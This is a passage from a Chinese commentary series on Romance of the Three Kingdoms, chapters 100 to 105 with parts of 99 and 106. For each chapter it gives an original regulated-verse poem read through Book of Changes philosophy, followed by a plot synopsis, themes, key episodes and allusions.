    5. 经典典故：此回中主要是围绕诸葛亮与司马懿的斗智展开，诸葛亮的诸多计谋运用可以说是对古代兵法的灵活实践，比如“诱敌深入”“声东击西”等战术在其中都有体现。这些虽然不是特定的独立典故，但都是对古代军事智慧的精彩演绎。


    二、《周易哲学视角下的〈三国演义〉第 99 回解析》


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 第100章 汉兵劫寨破曹真 武侯斗阵辱仲达

    一、七律诗词对《周易哲学视角下的〈三国演义〉第 100 回解析》的解析：


    （一）《〈三国演义〉第 100 回周易析》


    周易玄妙蕴智谋，三国百回展壮猷。


    汉兵劫寨破曹真，武侯斗阵辱仲达。


    阴阳变化玄机显，刚柔并济理法悠。


    知时知位明中正，忧患常存意未休。


    （二）诠释:


    这首七律以凝练的语言，阐述了从周易哲学角度对《三国演义》第 100 回的理解。通过描绘情节中的关键元素，以及体现周易哲学的理念，展现了这一回目的深刻内涵和智慧光芒。


    诗的首联“周易玄妙蕴智谋，三国百回展壮猷”，指出《周易》的深奥玄妙中蕴含着智谋，而《三国演义》第 100 回则展现了宏伟的谋略和功业。


    颔联“汉兵劫寨破曹真，武侯斗阵辱仲达”，具体描述了回目中的主要情节，汉兵的劫寨行动击败了曹真，诸葛亮与司马懿在阵法上的较量。


    颈联“阴阳变化玄机显，刚柔并济理法悠”，阐释了周易哲学中阴阳变化的玄机以及刚柔并济的道理，这在回目中也有所体现。


    尾联“知时知位明中正，忧患常存意未休”，强调了要知晓时机和位置，遵循中正之道，同时保持忧患意识，这也是从周易哲学角度对回目的进一步解读。


    整首诗通过七律的形式，深入剖析了《三国演义》第 100 回与周易哲学的紧密联系，展现了其中丰富的智慧和内涵。


    （三）《三国演义》第100回的回目是“汉兵劫寨破曹真 武侯斗阵辱仲达”。以下是对这一回的详细介绍：


    1. 梗概：


    曹真与司马懿打赌，曹真赌孔明已经班师回都，司马懿赌孔明必有埋伏在祁山。于是两人分兵两路埋伏。诸葛亮安排魏延、杜琼、陈式出箕谷，马岱、王平、张翼、马忠出斜谷，两路会聚祁山，自己则领军随后进发，又命关兴、廖化作为先锋。


    曹真心中不信蜀兵会来，故而怠慢，令军士休息。关兴、廖化引兵杀来，劫了曹真的营寨，司马懿带兵救出曹真。曹真又气又惊，气成疾病，卧病在床。


    之后，诸葛亮领军占领祁山，并写书信差人送入魏营给曹真。曹真看后，恨气填胸，晚上死于军营。接着，孔明与司马懿斗阵法，魏兵被孔明的八阵图所困，一个个被蜀兵绑了，还被光身以墨涂面、步行出阵。司马懿大怒，指挥三军奋死掠阵。


    此前，诸葛亮因粮草问题罚了永安城都尉苟安，苟安跑去魏营投降。司马懿利用苟安散布谣言，导致诸葛亮被后主刘禅下诏班师回朝。


    2. 主题思想：


    这一回继续体现了“拥刘反曹”的思想倾向。通过描写蜀兵劫寨成功、诸葛亮斗阵获胜等情节，凸显了蜀汉一方的智慧和英勇，以及曹魏阵营的失利与狼狈，进一步强化了对蜀汉的赞美和对曹魏的贬抑。


    也展现了战争中智谋的重要性。无论是诸葛亮的巧妙用兵、设伏劫寨，还是斗阵时对八阵图的运用，都体现出智谋在战争中的关键作用，强调了在乱世之中，智慧和谋略是决定胜负的重要因素。


    3. 经典情节：


    汉兵劫寨：蜀兵按照诸葛亮的安排，出其不意地劫了曹真的营寨，让曹真一方措手不及，这一情节展示了诸葛亮的神机妙


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    算和蜀兵的果敢行动。此劫寨行动不仅让曹真军队遭受重创，也为蜀汉夺取祁山奠定了基础。


    武侯斗阵辱仲达：诸葛亮与司马懿斗阵，司马懿的魏兵陷入八阵图中无法脱身，被蜀兵俘虏后受到羞辱。这一情节凸显了诸葛亮卓越的军事才能和阵法造诣，也让司马懿见识到了诸葛亮的厉害，进一步刻画了两人之间的智谋较量。


    苟安投魏：苟安因被诸葛亮惩罚而心生不满，投降曹魏，这一情节为后文诸葛亮被刘禅下诏班师回朝埋下伏笔，也体现了人心的易变和忠诚的难得，同时从侧面反映出诸葛亮在管理内部人员时面临的一些挑战。


    4. 经典诗句：


    文中可能未出现特别独立成章的经典诗句，但在描述战争场面、人物心境等方面，作者以其精彩的文字描写营造出了一种独特的文学氛围，虽无特定诗句，却以文辞之美增强了故事的感染力。


    5. 经典典故：


    八阵图：八阵图是古代的一种作战阵法，传说为诸葛亮所创。在这一回中，诸葛亮用八阵图困住魏兵，展现了其神奇的军事智慧和强大的阵法威力。八阵图这一典故在此处的运用，不仅增加了故事的神秘色彩和传奇性，也成为了诸葛亮智慧的象征。


    二、《周易哲学视角下的〈三国演义〉第 100 回解析》


    《三国演义》第 100 回“汉兵劫寨破曹真 武侯斗阵辱仲达”，这一回目犹如一幅波澜壮阔的历史画卷，展现出了战争的激烈与智谋的交锋。而当我们以周易哲学的视角来审视这一回时，更能挖掘出其中蕴含的深刻哲理与智慧。


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 第101章 出陇上诸葛妆神 奔剑阁张合中计

    一、七律诗词的形式对《以周易哲学解析“出陇上诸葛妆神，奔剑阁张合中计”》的一种解析：


    （一）《易理析三国奇谋》


    陇上妆神计妙玄，武侯奇策震坤乾。


    阴阳幻化迷司马，遁甲行藏惑众贤。


    麦熟陇原成战地，计成剑阁伏烽烟。


    易中智慧兵家显，千古风流颂蜀川。


    （二）诠释:


    首联“陇上妆神计妙玄，武侯奇策震坤乾”：


    “陇上妆神”是本回故事中的关键情节，诸葛亮用此计成功迷惑了司马懿，使其不敢轻举妄动，为蜀军割取陇上小麦争取了时间和机会。这里强调此计的巧妙与玄妙，凸显了诸葛亮的智慧和谋略。


    “武侯奇策震坤乾”，诸葛亮作为蜀汉的丞相，被尊称为武侯。他的这一奇策在天地之间都引起了震动，言下之意是此计的影响力巨大，不仅在当时的战场上取得了实际效果，也在历史的长河中留下了浓墨重彩的一笔，体现出其策略的震撼性和重要性。


    颔联“阴阳幻化迷司马，遁甲行藏惑众贤”：


    “阴阳幻化”体现了周易哲学中的阴阳观念。在这一事件中，诸葛亮和司马懿分别代表了不同的势力和立场，他们之间的较量如同阴阳的相互对抗和相互转化。诸葛亮通过“妆神”之计，制造出神秘的氛围和假象，让司马懿摸不清虚实，陷入了迷惑之中。这种阴阳的相互作用和变化，正是周易哲学的核心思想之一。


    “遁甲行藏”指的是诸葛亮运用奇门遁甲之术。在古代，奇门遁甲被视为一种神秘的术数，能够预测和改变事物的发展。诸葛亮利用这一术数，安排了假的自己和伏兵，隐藏了自己的真实意图和兵力部署，让司马懿和魏军的众将领都感到困惑和恐惧，从而达到了迷惑敌人的目的。此句进一步强调了诸葛亮的智谋和对神秘术数的运用，使他在战争中占据了主动。


    颈联“麦熟陇原成战地，计成剑阁伏烽烟”：


    “麦熟陇原成战地”描绘了陇上地区小麦成熟的场景，原本是丰收的景象，但因为战争的爆发，变成了一片硝烟弥漫的战场。这不仅体现了战争对百姓生活的影响，也暗示了在战争中，资源的争夺是至关重要的。诸葛亮深知陇上小麦对于蜀军的重要性，因此才会想出“妆神”之计来割取小麦，为蜀军提供军粮。


    “计成剑阁伏烽烟”则讲述了诸葛亮的计策在剑阁地区取得成功。张合中计后，蜀军在剑阁设下埋伏，击败了魏军。这里的“伏烽烟”形象地表现了战争的紧张和激烈，以及诸葛亮的计策所带来的胜利成果。此句与上一句相互呼应，展示了诸葛亮从陇上到剑阁的一系列战略布局和军事行动，体现了他的深谋远虑和卓越的军事才能。


    尾联“易中智慧兵家显，千古风流颂蜀川”：


    “易中智慧兵家显”总结了周易哲学在这一事件中的体现。诸葛亮的“妆神”之计和在战争中的种种策略，都蕴含着周易哲学中的变化、阴阳、谋略等思想。他将这些哲学思想运用到军事实践中，取得了显着的成效，成为了兵家运用智慧的典范。


    “千古风流颂蜀川”表达了对诸葛亮和蜀汉的赞美之情。诸葛亮的智慧和忠诚，以及他为蜀汉所做出的贡献，被后人传颂千古。蜀川之地也因为有了诸葛亮这样的杰出人物，而成为了历史上的一个重要地区，留下了许多传奇的故事和文化遗产。此句既是对诸葛亮的


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    高度评价，也是对蜀汉历史地位的肯定。


    （三）三国演义第101回回目，经典梗概，主题思想，经典情节，指导思想，经典诗句及典故


    《三国演义》第101回回目：出陇上诸葛妆神 奔剑阁张合中计。


    经典梗概：


    诸葛亮回到成都追杀了散布流言之宦官，然后又回到汉中。根据杨仪的建议，将蜀军二十万分作两队，百日为期，轮流出战。


    建兴九年二月，诸葛亮第五次出祁山。司马懿领兵迎战。听说蜀军出陈仓、过剑阁、由散关往斜谷而来，司马懿知道诸葛亮是打算用陇西小麦充作军粮，于是派兵留守祁山，自己率领大军往陇西而来。


    见魏军已有防备，诸葛亮与姜维、关兴、魏延带四路人马，用四辆木车，每辆车上均坐着一个假孔明，左右各有二十四人皂衣跣足，披发仗剑，迷惑魏军。司马懿不知是人是鬼，有多少蜀兵，不敢妄动。诸葛亮乘机偷割了陇上的小麦，并送赴卤城打晒。


    郭淮献计攻打卤城，被孔明伏兵四面杀败。郭淮又献计调雍、凉诸郡人马，自己奇袭剑阁，截蜀兵归路，亦被蜀兵击败。


    后方李严因运粮不利，畏惧责罚，假称吴兵入侵，诸葛亮急忙撤兵。诸葛亮撤军回蜀，张合前往追击，诸葛亮在木门道设下伏兵，将张合射死。诸葛亮与后主将李严谪为庶人。


    主题思想：


    这一回主要体现了诸葛亮的足智多谋和善于用兵。通过“妆神”之计成功割取陇上小麦，展现了他在困境中能够灵活应变，以智谋取胜的军事才能，突出了智慧在战争中的重要性。


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 第102章 司马懿占北原渭桥 诸葛亮造木牛流马

    一、七律诗词对《周易哲学视角下的〈三国演义〉第 102 回解析》的解析：


    （一）《〈三国演义〉第 102 回解析》


    北原渭桥兵争雄，木牛流马智谋融。


    易理阴阳蕴战局，世事变幻显神通。


    司马深谋藏阴晦，孔明妙策展阳崇。


    兴亡成败皆有定，三国风云入眼中。


    （二）诠释:


    这首诗以七律的形式，围绕《三国演义》第 102 回的情节展开。首联描述了北原渭桥的激烈争夺和诸葛亮制造木牛流马的智慧之举；颔联指出周易哲学中阴阳的道理在战争中的体现；颈联分别刻画了司马懿的阴柔策略和诸葛亮的阳刚智谋；尾联则强调了历史的发展有其必然规律，而三国的风云变幻尽收眼底。


    诗的首联“北原渭桥兵争雄，木牛流马智谋融”，描绘了在第 102 回中，北原渭桥处两军激烈争斗的场景，以及诸葛亮发明木牛流马所展现出的高超智谋相互交融。


    颔联“易理阴阳蕴战局，世事变幻显神通”，点明了周易哲学中阴阳的道理蕴含在战局之中，世间的事物变化无常，尽显神奇莫测的力量。


    颈联“司马深谋藏阴晦，孔明妙策展阳崇”，具体描述了司马懿深沉的谋略中隐藏着阴柔的一面，而诸葛亮的奇妙计策则展现出阳刚的一面。


    尾联“兴亡成败皆有定，三国风云入眼中”，表达了兴衰成败都有其注定的规律，而三国的风云变幻都尽收于我们的眼中，让我们能更深入地理解其中的意义。


    整首诗通过对《三国演义》第 102 回的解析，结合周易哲学的视角，展现了战争的复杂性、人物的智谋以及历史的必然性，给人以深刻的思考和感悟。


    （三）回目：《三国演义》第102回回目为“司马懿占北原渭桥 诸葛亮造木牛流马”。


    经典梗概：


    战前背景：谯周见孔明又欲出师，奏后主说有群鸟投于汉水而死、奎星犯太白、柏树夜哭等灾异，劝诸葛亮不要出兵，但诸葛亮以受先帝托孤之重为由，执意出师。他率蜀兵三十四万，分五路进发，令姜维、魏延为先锋，李恢先运粮草于斜谷道口。魏国方面，司马懿举荐夏侯渊的四个儿子夏侯霸、夏侯威、夏侯惠、夏侯和一起迎敌。


    战斗经过：


    北原之战：诸葛亮令魏延、马岱引兵渡渭水攻北原，吴班、吴懿引木筏兵去烧浮桥。但魏将郭淮、孙礼早有准备，魏延、马岱中计，蜀兵多半落于水中。吴班撑筏烧浮桥时，被张虎、乐綝乱箭射住，吴班中箭落水而死，木筏尽被魏兵夺去。


    诈降之计：魏将郑文前来蜀寨诈降，称司马懿徇私偏向，加秦朗为前将军，而视自己如草芥，所以来降。秦朗引兵在寨外单搦郑文交战，郑文仅一合便斩秦朗于马下。但诸葛亮识破此乃司马懿的诈降之计，将计就计，利用郑文引诱司马懿。


    木牛流马：蜀军战败后，诸葛亮收拾败兵，心中忧闷。此时面临兵粮不足、粮米搬运不便的问题，于是诸葛亮令人制造木牛流马。这种运输工具能自动运粮，上山下岭十分方便，蜀兵用其转运粮草，节省人力畜力，深受士兵喜爱。司马懿得知后，命人劫来五六只，仿造木牛流马搬运粮草，却中了诸葛亮的计策。


    主要人物：


    诸葛亮：蜀汉丞相，忠诚勤勉，为实现先帝刘备的遗愿，多次出师北伐。本回中他不顾灾异之兆坚


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    持出兵，展现出坚定的信念和担当，但也面临诸多挑战，如北原之战失利、关兴病故等，不过他凭借智慧造出木牛流马，解决了粮草运输问题。


    司马懿：曹魏的重要将领，老谋深算。本回中他占据北原渭桥，抵御蜀军进攻，还使用诈降等计谋与诸葛亮对抗，同时积极应对诸葛亮的各种策略。


    夏侯霸、夏侯威、夏侯惠、夏侯和：夏侯渊的四个儿子，被司马懿举荐迎敌，他们想为父报仇，在本回中参与了与蜀军的战斗。


    郑文：魏国偏将军，本回中向诸葛亮诈降，后被诸葛亮识破并斩杀。


    经典诗句：“剑关险峻驱流马，斜谷崎岖驾木牛。后世若能行此法，输将安得使人愁。”此诗生动地描绘了诸葛亮发明的木牛流马在艰难的剑关和斜谷等地运输粮草的情景，也体现出后人对这种神奇运输工具的赞叹和对其能够广泛应用的期望。


    经典典故：


    木牛流马：这是本回的重要典故。诸葛亮发明的木牛流马，能够在崎岖的山路自动运输粮草，解决了蜀军长途作战的粮草补给问题。司马懿派人劫走木牛流马后进行仿造，却不知其中藏有制动机关，被诸葛亮巧妙利用，让魏兵吃了大亏。


    诸葛亮斩郑文：郑文诈降诸葛亮，诸葛亮将计就计，先让郑文斩杀秦朗以表忠心，随后识破郑文的计谋，将其斩杀，展现了诸葛亮的智慧和果断。


    指导思想：


    从蜀汉的角度看，体现了诸葛亮“鞠躬尽瘁，死而后已”的精神，他为了兴复汉室，不顾艰难险阻，多次北伐，即使面临诸多困难和挫折，也始终坚定信念，积极寻求破敌之策。


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 第103章 上方谷司马受困，五丈原诸葛禳星

    一、七律诗词对《天命与人事的交织——＜三国演义＞第 103 回的周易哲学解析》的解析：


    （一）《解析＜三国演义＞第 103 回》


    上方谷里困司马，诸葛禳星意未休。


    天命难违含变数，人心可塑展宏谋。


    智谋尽处风云变，命运无常世事忧。


    三国纷争书壮烈，易理哲思蕴深幽。


    （二）诠释:


    这首诗围绕第 103 回的情节和周易哲学内涵展开，表达了对天命与人的相互作用、智谋与命运的交织的感慨，以及对《三国演义》中壮烈故事和深刻哲理的赞叹。


    以下是对这首七律诗词的诠释：


    诗的首联“上方谷里困司马，诸葛禳星意未休”，描绘了上方谷之战中司马懿被困的情景，以及诸葛亮禳星时的坚持。


    颔联“天命难违含变数，人心可塑展宏谋”，指出天命虽难以违抗，但其中也存在变数，而人的智慧和谋略可以展现出宏大的布局。


    颈联“智谋尽处风云变，命运无常世事忧”，强调在智谋用尽时，局势会发生变化，命运的无常让人对世事感到忧虑。


    尾联“三国纷争书壮烈，易理哲思蕴深幽”，总结了《三国演义》中三国纷争的壮烈，以及其中蕴含的周易哲学的深邃幽微。


    整首诗通过对《三国演义》第 103 回的解读，展现了天命与人的复杂关系，以及其中所蕴含的深刻哲理和壮烈情怀。


    （三）三国演义第103回回目，经典梗概，主要人物，经典诗句，经典典故，指导思想


    《三国演义》第103回回目：上方谷司马受困，五丈原诸葛禳星。


    经典梗概：


    诸葛亮六出祁山，与司马懿交战。司马懿坚守不出，诸葛亮便令蜀兵与魏民相杂种田，以为久计。同时，诸葛亮密令马岱在葫芦谷设下埋伏，谷内准备好易燃之物，谷口设下暗号。又让魏延前去诱司马懿出战，将其引入葫芦谷。


    夏侯惠、夏侯和向司马懿进言，认为应趁此时除掉诸葛亮，二人还主动请战。司马懿派二人各引五千兵出战，他们打败蜀兵，劫获了木牛流马和一些人马。司马懿见蜀兵屡败，心中欢喜。后来，从擒到的蜀兵口中得知诸葛亮在上方谷安营并屯粮于此，便决定进攻祁山大寨，自己则带兵去取上方谷。


    魏延依计将司马懿引入葫芦谷，司马懿见谷内是草房，以为是积粮之所，便放心进入。此时，蜀军丢下火把、放出火箭、引发地雷，谷内火势冲天，司马懿父子被困，惊得手足无措。然而，天不遂人愿，突然天降大雨，将火浇灭，司马懿父子得以逃脱。


    诸葛亮见此情景，深叹“谋事在人，成事在天。不可强也”。此后，诸葛亮忧郁成疾，自知时日不多，便用禳星之法求寿。眼看就要成功之时，魏延因军情紧急闯入帐中，扑灭了主灯，诸葛亮禳星失败。


    主要人物：


    诸葛亮：蜀汉丞相，足智多谋，忠诚勤勉。本回中他精心设计诱司马懿入上方谷，想要一举消灭曹魏的重要力量，却因天不助他，功败垂成。之后又禳星求寿，展现出他对汉室江山的执着和不舍。


    司马懿：曹魏的大都督，老谋深算，行事谨慎。虽中了诸葛亮的计策被困上方谷，但最终凭借运气逃脱，体现出他的运气与沉稳。


    魏延：蜀汉将领，性格鲁莽。在诸葛亮禳星的关键时刻闯入帐中，导致诸葛亮功亏一篑，成为影响本回情节走向的关键人物。</


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    姜维：蜀汉将领，诸葛亮的得力助手，对诸葛亮忠心耿耿。本回中协助诸葛亮实施计谋，但在守护禳星大帐时未能阻止魏延闯入。


    经典诗句：


    “谷口风狂烈焰飘，何期骤雨降青霄。武侯妙计如能就，安得山河属晋朝！”


    此诗是后人对上方谷之战的感慨。前两句描绘了上方谷中大火熊熊燃烧的壮观场景以及突然降雨的意外情况。后两句则是假设，如果诸葛亮的计谋成功，那么天下就不会归晋朝所有，表达了对诸葛亮未能成功消灭司马懿的惋惜。


    经典典故：


    上方谷司马受困：诸葛亮利用上方谷的地形，设下埋伏，诱使司马懿进入谷中，然后放火烧谷，试图将司马懿父子烧死。这一计策充分展示了诸葛亮的智慧和军事才能，然而最终因天降大雨，司马懿得以逃脱，也成为了《三国演义》中的一个经典情节。


    五丈原诸葛禳星：诸葛亮自知时日不多，采用禳星之法，希望能延长自己的寿命，继续为蜀汉效力。这一情节体现了诸葛亮对汉室的忠诚以及他对命运的抗争，但最终因魏延的闯入而失败，也预示着蜀汉的命运逐渐走向衰落。


    指导思想：


    本回的指导思想主要体现在以下几个方面：


    天命与人事的冲突：通过上方谷之战中诸葛亮的计谋几乎成功却因天降大雨而失败，以及禳星之法被魏延意外打断，强调了天命的不可违抗，即使诸葛亮足智多谋、尽心尽力，也难以与天命抗衡。但同时也展现了诸葛亮等人“知其不可为而为之”的精神，他们为了实现自己的理想和目标，不畏艰难险阻，全力以赴。


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 第104章 陨大星汉丞相归天 见木像魏都督丧胆

    一、七律诗词对《周易哲学视角下的〈三国演义〉第 104 回：星辰陨落与木像惊魂》的解析：


    （一）《解析〈三国演义〉第 104 回》


    孔明星陨汉家哀，天意冥冥运数裁。


    木像犹能惊魏胆，智谋终是化尘霾。


    阴阳变幻乾坤定，命运沉浮卦象徊。


    三国风云多少事，易中哲理蕴奇才。


    （二）诠释:


    这首诗以“孔明星陨汉家哀”描绘了诸葛亮的离世之悲，“天意冥冥运数裁”体现了周易哲学中的命运观念。“木像犹能惊魏胆”展现了情节的惊险，“智谋终是化尘霾”则表达了对智慧与权谋的感慨。“阴阳变幻乾坤定”和“命运沉浮卦象徊”强调了周易中的变化与卦象。最后，“三国风云多少事，易中哲理蕴奇才”总结了故事中的波澜与周易哲学的深刻内涵。


    （三）《三国演义》第104回回目，经典梗概，主题思想，经典情节，经典诗句，经典典故及指导思想


    《三国演义》第 104 回回目：陨大星汉丞相归天 见木像魏都督丧胆。


    经典梗概：


    诸葛亮在五丈原与魏兵对峙时身患重病，姜维到行军帐中看望他。诸葛亮对姜维说自己平生所学已着书二十四篇，计十万四千一百一十二字，内有八务、七戒、六恐、五惧之法，觉得诸将中只有姜维可传其书，便传授给了姜维，还告知有“连弩”之法也一并传他。又叮嘱姜维蜀中诸道不必担忧，但阴平之地需仔细防守，此地虽险峻但久必有失。随后诸葛亮唤马岱入帐，附耳低言授以密计。接着杨仪入帐，诸葛亮授与他一锦囊，告知自己死后魏延必反，待其反时依计行事。安排好后，诸葛亮便表奏后主。后主派尚书李福来问安并询后事，诸葛亮推荐蒋琬、费祎可任大事。当晚，诸葛亮观星后病情加重，不久便去世，时建兴十二年秋八月二十三日，寿五十四岁。


    司马懿夜观天文，见一大星坠于蜀营，认为孔明已死，但又怕有诈，于是先按兵不动，只派夏侯霸去哨探。魏延夜梦头上生角，问行军司马赵直，赵直称是吉兆，后遇到费祎告知此非吉兆，乃大凶。费祎劝魏延交兵符，魏延不肯。杨仪领兵扶柩先行，令姜维断后，依孔明遗令徐徐而退。魏延得知后大怒，欲杀杨仪。夏侯霸探得蜀兵已退，司马懿便引兵追赶，结果看到诸葛亮的木像，以为孔明还活着，吓得魏兵惊慌失措，司马懿也狂奔数里。后来得知孔明真死，司马懿又领兵追赶，见蜀兵已退，便班师回朝。


    主题思想：


    忠诚与奉献精神的歌颂：诸葛亮一生为蜀汉“鞠躬尽瘁，死而后已”，在生命的最后时刻仍心系国家大事，为兴复汉室殚精竭虑。他对姜维倾囊相授，对后事精心安排，体现了他对蜀汉的忠诚和无私奉献，这种精神被高度赞扬和歌颂。


    命运的无奈与悲剧色彩：诸葛亮虽有经天纬地之才，但终究无法改变蜀汉的命运。他多次北伐未能成功，最终在五丈原病逝，这体现了命运的无常和人力的有限。他的离世不仅是蜀汉的重大损失，也使读者感受到一种强烈的悲剧氛围。


    智谋与计策的较量：本回中诸葛亮生前的种种安排，如授书姜维、密计除魏延、以木像吓退司马懿等，都展现了他的高超智谋。而司马懿对诸葛亮之死的疑虑和试探，以及魏延的反叛心思等，也体现了各方人物在智谋和计策上的较量。这反映了在战乱纷争的三国时代，智谋和策略对于战争胜负和国家兴衰的重要性。


    经典情节


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    诸葛亮临终授计：诸葛亮深知自己命不久矣，将自己的兵法、“连弩”之法传授给姜维，又分别对马岱、杨仪等交代后事，安排了对付魏延反叛的计策。


    魏延梦角：魏延夜梦头上生角，行军司马赵直为讨好魏延，称此为吉兆，但实际上按照赵直后来对费祎所说，角之字形乃“刀”下“用”也，是大凶之兆。


    司马懿中计：司马懿看到将星坠落，以为诸葛亮已死，出兵追赶蜀军，结果看到诸葛亮的木像，以为诸葛亮还活着，吓得惊慌失措。


    经典诗句：


    “长星昨夜坠前营，讣报先生此日倾。虎帐不闻施号令，麟台惟显着勋名。空余门下三千客，辜负胸中十万兵。好看绿阴清昼里，于今无复雅歌声！”


    “先生晦迹卧山林，三顾那逢圣主寻。鱼到南阳方得水，龙飞天汉便为霖。托孤既尽殷勤礼，报国还倾忠义心。前后出师遗表在，令人一览泪沾襟。”


    经典典故：


    死诸葛吓走活仲达：诸葛亮死后，按照他的遗计，用他的木像吓退了司马懿。后来人们用“死诸葛吓走活仲达”来形容人虽死，但余威仍在，也体现了诸葛亮的智谋深远。


    指导思想：


    《三国演义》总体上以儒家政治道德观念为核心，鲜明地表现出“拥刘反曹”的思想倾向。在这一回中，通过对诸葛亮的歌颂和对魏延反叛的描写，进一步强化了这种思想倾向。诸葛亮作为蜀汉的忠臣和智者，代表着正义和仁德；而魏延的反叛行为则被视为不忠不义。同时，作品也反映了作者对历史兴衰和人物命运的思考，强调了天时、地利、人和等因素对历史进程的影响。


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 第105章 武侯预伏锦囊计，魏主拆取承露盘

    一、七律诗词对《周易哲学视角下的〈三国演义〉第 105 回解析》：


    （一）《易理析三国 105 回》


    武侯遗计蕴神机，魏主骄奢乱象弥。


    卦象阴阳窥蜀魏，乾坤变数演传奇。


    魏延狂悖终遭戮，杨仪矜骄亦惨凄。


    承露盘前兴土木，兴衰易理此中栖。


    （二）诠释:


    首联：“武侯遗计蕴神机”，这一句强调诸葛亮在死后还能预伏锦囊计，体现出他的深谋远虑和神机妙算。在周易哲学中，这种对未来的准确预判可以理解为对事物发展规律的深刻把握，诸葛亮凭借自己的智慧和经验，预先安排好了应对魏延可能造反的策略，展现出他非凡的谋略和远见卓识。


    “魏主骄奢乱象弥”，描述了魏主曹叡大兴土木、拆取承露盘追求长生不老等骄奢行为，导致国家乱象丛生。这与周易哲学中“亢龙有悔”的道理相契合，曹叡在政权稳固后过度追求享乐和虚荣，不懂得收敛和自省，最终使得国家陷入混乱，民心离散。


    颔联：“卦象阴阳窥蜀魏”，周易哲学中的阴阳观念可以用来分析蜀魏两国的局势和人物关系。在第 105 回中，诸葛亮代表着蜀汉的正义和智慧，是阳的一面；而魏延的造反行为以及他的自负和狂妄，则是阴的一面。阴阳相互对立又相互依存，推动着故事的发展。同时，杨仪在其中起到了一定的调和作用，他与魏延的矛盾和冲突，也反映了阴阳之间的平衡与失衡。


    “乾坤变数演传奇”，乾坤代表着天地万物的变化和发展，在三国这个动荡的时代，局势瞬息万变，充满了各种变数。第 105 回中，魏延的造反、诸葛亮的锦囊计以及曹叡的行为等，都是乾坤变数的体现。这些变数使得故事充满了传奇色彩，也让读者感受到了历史的波澜壮阔和命运的无常。


    颈联：“魏延狂悖终遭戮”，魏延自恃功高，不听从指挥，甚至起兵造反，这种狂悖的行为最终导致了他的失败和死亡。从周易哲学的角度来看，魏延的行为违背了“君子以顺德，积小以高大”的道理，他过于自负和狂妄，不懂得顺应时势和道德规范，最终自食恶果。


    “杨仪矜骄亦惨凄”，杨仪在成功平定魏延之乱后，自恃功高，口出怨言，最终被贬为庶民，羞惭自刎而死。这也反映了周易哲学中的“满招损，谦受益”的道理，杨仪在取得胜利后过于骄傲自满，不懂得谦虚谨慎，最终落得个悲惨的下场。


    尾联：“承露盘前兴土木，兴衰易理此中栖”，曹叡拆取承露盘大兴土木的行为，不仅是他个人追求长生不老的荒谬之举，也反映了曹魏政权的衰落和腐朽。从周易哲学的兴衰理论来看，一个政权的兴衰是由多种因素共同作用的结果，曹叡的昏庸和骄奢，使得曹魏政权逐渐走向衰落，而蜀汉和东吴也在不断地发展和变化。这一回的故事中，兴衰易理得到了充分的体现，让读者深刻地感受到了历史的沧桑和变化。


    （三）《三国演义》第105回回目，经典梗概，主题思想，经典情节，经典诗句，经典典故及指导思想


    《三国演义》第 105 回回目:


    武侯预伏锦囊计，魏主拆取承露盘。


    经典梗概：


    诸葛亮死后，魏延不服杨仪领兵，烧断栈道，引兵拦路，并上奏后主说杨仪造反。杨仪也紧急上表，奏称魏延背反。


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    二人接连具表，各陈是非。姜维和杨仪按照孔明留下的锦囊妙计行事，杨仪在阵前激魏延，让他大喊三声“谁敢杀我”，魏延恃勇大喊，结果被马岱出其不意斩于马下。随后杨仪等人扶诸葛亮灵柩到成都。与此同时，魏主曹叡耽于声色，在许昌大兴土木，还将长安汉武帝时修建的承露盘拆往许昌，众官进谏，曹叡不听。


    主题思想：


    体现忠诚与背叛的博弈：魏延与杨仪的争斗，凸显了忠诚与背叛在人们心中的不同理解和表现。魏延自恃功高，不服杨仪指挥，其行为在蜀汉阵营看来是造反；而杨仪虽与魏延有矛盾，但一直坚定维护蜀汉政权，代表着对诸葛亮以及蜀汉的忠诚。这反映出在权力交接、局势动荡之时，人心的复杂和对忠诚的考验。


    批判统治者的昏庸：曹叡大兴土木、强拆承露盘、追求长生不老等行为，体现了他的昏庸和奢靡。作者通过对曹叡这些行为的描写，批判了封建统治者的腐朽，暗示了这样的统治必将导致国家的衰败。


    强调智谋的重要性：诸葛亮虽已去世，但他生前预设的锦囊计成功制服了魏延，展现了他的深谋远虑和超凡智慧。这也体现了在三国纷争的时代，智谋对于战争胜负、政权稳定的重要性，进一步强调了诸葛亮作为智慧化身的形象。


    经典情节：


    魏延被斩：杨仪依计在阵前让魏延大喊三声“谁敢杀我”，魏延自恃勇猛，认为天下无人敢敌我，大喊之后，被马岱在其背后出其不意地斩杀。这一情节将魏延的狂妄自大和杨仪等人的智谋展现得淋漓尽致，具有很强的戏剧性和张力。


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 第106章 公孙渊兵败死襄平 司马懿诈病赚曹爽

    一、七律诗词对《权谋风云与命运无常：〈三国演义〉第 106 回的周易哲学解析》的解析：


    （二）《解析〈三国演义〉第 106 回》


    权谋变幻起襄平，命运无常叹废兴。


    周易哲思参世事，风云际会见阴晴。


    公孙兵败终成憾，司马谋深诈作宁。


    史册留痕千古忆，兴衰荣辱总关情。


    （二）诠释:


    这首诗围绕主题，描述了第 106 回中的权谋斗争与命运转折，体现了周易哲学的思考；同时感慨历史的兴衰与情感的纠葛。


    以下是对这首七律诗词的诠释：


    诗的首联“权谋变幻起襄平，命运无常叹废兴”，直接点明了第 106 回中权谋争斗的激烈和命运的难以捉摸，从襄平这个地方兴起的种种变化，让人不禁感叹世事的兴衰无常。


    “周易哲思参世事，风云际会见阴晴”，强调了用周易哲学来解读这些世事，在风云变幻中看到了阴晴不定的局面。


    “公孙兵败终成憾，司马谋深诈作宁”，指出公孙渊兵败而死的遗憾结局，以及司马懿深沉的谋略，他装作生病来迷惑对方。


    最后一联“史册留痕千古忆，兴衰荣辱总关情”，则表达了这段历史在史册上留下了深刻的印记，其中的兴衰荣辱都牵动着人们的情感。


    整首诗通过精炼的语言，深入地诠释了《三国演义》第 106 回所蕴含的权谋、命运、周易哲学等元素，以及对历史的感慨和思考。


    （三）《三国演义》106回回目，经典梗概，主要人物，经典诗句，经典典故，指导思想


    回目：《三国演义》第106回的回目是“公孙渊兵败死襄平 司马懿诈病赚曹爽”。


    经典梗概：


